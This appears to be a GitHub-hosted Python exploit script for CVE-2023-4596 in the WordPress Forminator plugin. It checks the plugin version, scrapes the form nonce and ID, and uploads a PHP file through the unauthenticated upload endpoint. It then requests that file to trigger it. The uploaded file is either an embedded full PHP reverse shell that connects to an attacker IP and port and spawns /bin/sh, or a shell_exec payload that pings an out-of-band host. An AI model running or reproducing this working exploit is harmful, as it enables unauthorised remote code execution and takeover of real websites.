-
Notifications
You must be signed in to change notification settings - Fork 5
/
exploit.py
348 lines (288 loc) · 10.9 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
import requests
import datetime
import argparse
import re
import random
import string
print(r'''
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
''')
parser = argparse.ArgumentParser(description="Script to check for CVE-2023-4596")
parser.add_argument("-u", required=True, help="Full URL of a page with file upload")
parser.add_argument("-v", action="store_true", help="Check for a (vulnerable) version")
parser.add_argument("-r", action="store_true", help="Get an reverse shell on the instance")
args = parser.parse_args()
full_url = args.u
# Using regex to split the full url in parts
match = re.match(r"(https?://)(.*?)(/.*)?$", full_url)
if match:
http_prefix = match.group(1)
new_domain = http_prefix + match.group(2)
page = match.group(3) or "/"
else:
print("Invalid URL format")
exit()
# Checking for a (vulnerable) version
if args.v:
version_check_url = new_domain.rstrip('/') + "/wp-content/plugins/forminator/readme.txt"
try:
response = requests.get(version_check_url, timeout=5)
if response.status_code == 200:
readme_content = response.text
stable_tag_match = re.search(r"Stable tag:\s*([\d.]+)", readme_content)
if stable_tag_match:
stable_tag = stable_tag_match.group(1)
if stable_tag <= "1.24.6":
print("[+] Vulnerable version found:", stable_tag)
else:
print("[-] Version is not vulnerable:", stable_tag)
else:
print("[-] Could not determine Stable tag in readme.txt")
else:
print("[-] Unable to fetch readme.txt:", response.status_code)
except requests.RequestException as e:
print("[-] An error occurred while fetching readme.txt:", str(e))
exit()
url = new_domain + "/wp-admin/admin-ajax.php"
# Headers for the request
headers = {
"Content-Length": "1292",
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytsSnyRY1FWmgGHpA",
"X-Requested-With": "XMLHttpRequest",
}
# Generate random filename to prevent multiple files with the same name being uploaded
def generate_random_string(length):
letters = string.ascii_letters
return ''.join(random.choice(letters) for _ in range(length))
random_filename = generate_random_string(10) + ".php"
# First request to retrieve the forminator_nonce and the form_id that is needed in the second request
initial_response = requests.get(full_url)
if initial_response.status_code != 200:
print("[-] Unable to fetch the initial page:", initial_response.status_code)
exit(1)
initial_response_text = initial_response.text
# Extracting the forminator_nonce and form_id
forminator_nonce_match = re.search(r'forminator_nonce"\s+value="(\b[0-9a-fA-F]{10}\b)"', initial_response_text)
if forminator_nonce_match:
forminator_nonce = forminator_nonce_match.group(1)
else:
print("[-] Could not extract forminator_nonce")
print("Did you include the complete URL of a webpage that contains a Forminator file upload field in the command?")
exit(1)
form_id_match = re.search(r'form_id"\s+value="([0-9]+)"', initial_response_text)
if form_id_match:
form_id = form_id_match.group(1)
else:
print("[-] Could not extract form_id")
exit(1)
# print(f"[+] Extracted forminator_nonce: {forminator_nonce}")
# print(f"[+] Extracted form_id: {form_id}")
if args.r:
ip = input("Enter IP address: ")
port = input("Enter port: ")
# Data for the second request with reverse shell
data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '{ip}';
$port = {port};
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {{
$pid = pcntl_fork();
if ($pid == -1) {{
printit("ERROR: Can't fork");
exit(1);
}}
if ($pid) {{
exit(0); // Parent exits
}}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {{
printit("Error: Can't setsid()");
exit(1);
}}
$daemon = 1;
}} else {{
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {{
printit("$errstr ($errno)");
exit(1);
}}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {{
printit("ERROR: Can't spawn shell");
exit(1);
}}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {{
// Check for end of TCP connection
if (feof($sock)) {{
printit("ERROR: Shell connection terminated");
break;
}}
// Check for end of STDOUT
if (feof($pipes[1])) {{
printit("ERROR: Shell process terminated");
break;
}}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {{
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {{
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {{
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}}
}}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {{
if (!$daemon) {{
print "$string\n";
}}
}}
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"
{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"
{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"
{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"
{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"
forminator_submit_form_custom-forms
"""
else:
interact = input("Input out-of-band link: ").replace("http://", "").replace("https://", "")
# Data for the second request for the file upload
data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php
<?php
$domain = "{interact}";
$ip = gethostbyname($domain);
$command = "ping -c 4 " . $ip;
$output = shell_exec($command);
echo "<pre>$output</pre>";
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"
{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"
{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"
{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"
{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"
forminator_submit_form_custom-forms
"""
# Sending the second request
print("\n[+] Sending payload to target")
try:
response = requests.post(full_url, headers=headers, data=data, timeout=10)
if response.status_code == 200:
print("[+] Successful file upload!\n")
else:
print("[-] Server returned an unexpected response:", response.status_code)
exit(1)
except requests.Timeout:
print("[-] Request timed out. Server is unavailable.")
exit(1)
except requests.RequestException as e:
print("[-] An error occurred:", str(e))
exit(1)
# File will be uploaded in a folder with the current year and current month, using datetime to get this information and using it to send the request and printing the file location
now = datetime.datetime.now()
current_year = now.year
current_month = str(now.month).zfill(2)
uploaded_file_url = f"{new_domain}/wp-content/uploads/{current_year}/{current_month}/{random_filename}"
print("Uploaded File Location:", uploaded_file_url)
# Sending request to uploaded file to start the script
print("\n[+] Sending request to uploaded file...")
try:
uploaded_file_response = requests.get(uploaded_file_url, timeout=5) # Put this on purpose on a low timeout since it should be directly triggered; if the request fails, something is wrong with your OOB link, if you started an reverse shell it should time out
if uploaded_file_response.status_code == 200:
print("[+] Successfully triggered the uploaded file!")
print("[+] Check for an incoming request")
else:
print("[-] Server returned an unexpected response:", uploaded_file_response.status_code)
exit(1)
except requests.Timeout:
print("[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell")
exit(1)
except requests.RequestException as e:
print("[-] An error occurred:", str(e))
exit(1)